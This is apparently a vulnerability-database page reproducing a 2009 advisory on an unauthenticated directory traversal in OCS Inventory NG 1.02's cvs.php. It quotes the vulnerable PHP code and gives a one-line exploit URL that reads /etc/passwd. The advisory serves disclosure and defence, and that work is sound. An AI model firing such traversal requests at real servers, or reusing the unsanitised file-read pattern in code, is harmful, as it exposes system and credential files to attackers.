Lucene search
+L

OCS Inventory NG 1.02 - Remote File Disclosure

🗓️ 03 Jun 2009 00:00:00Reported by Nico LeideckerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 30 Views

OCS Inventory NG 1.02 Remote File Disclosure via cvs.ph

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2009-2166
22 Jun 200920:30
attackerkb
circl
Circl
CVE-2009-2166
3 Jun 200900:00
circl
cve
CVE
CVE-2009-2166
22 Jun 200920:00
cve
cvelist
Cvelist
CVE-2009-2166
22 Jun 200920:00
cvelist
debiancve
Debian CVE
CVE-2009-2166
22 Jun 200920:00
debiancve
euvd
EUVD
EUVD-2009-2162
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-2166
22 Jun 200920:30
nvd
openvas
OpenVAS
OCS Inventory NG < 1.02.1 Information Disclosure Vulnerability - Active Check
26 Jun 200900:00
openvas
osv
OSV
DEBIAN-CVE-2009-2166
22 Jun 200920:30
osv
osv
OSV
UBUNTU-CVE-2009-2166
22 Jun 200920:30
osv
Rows per page
OCS Inventory NG - Directory Traversal  (May 30 2009)
_______________________________________________________________________________


* Product

  Open Computer and Software (OCS) Inventory NG
  (http://www.ocsinventory-ng.org)


* Vulnerable Versions

  OCS Inventory NG 1.02 (Unix)


* Vendor Status

  Vendor has been notified and the vulnerability has been fixed in
version 1.02.1.


* Details

  The Open Computer and Software (OCS) Inventory Next Generation (NG)
provides relevant inventory information about system configurations and
software on the network. The server can be managed using a web
interface. It is possible for unauthenticated users to extract arbitrary
files from the hosting system due to inadequate file handling in cvs.php.

  cvs.php:

		} elseif (isset($_GET['log'])){
			if (file_exists($_GET['rep'].$_GET['log'])){
				$tab = file($_GET['rep'].$_GET['log']);
				while(list($cle,$val) = each($tab)) {
		 		  $toBeWritten  .= $val."\r\n";
				}
				$filename=$_GET['log'];
			}
		}


* Impact

  Attackers may be able to read arbitrary files from the hosting system.


* Exploit

  The vulnerability can be exploited by just using a web browser:

	http://example.org/ocsreports/cvs.php?log=/etc/passwd

# milw0rm.com [2009-06-03]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jun 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.03195
30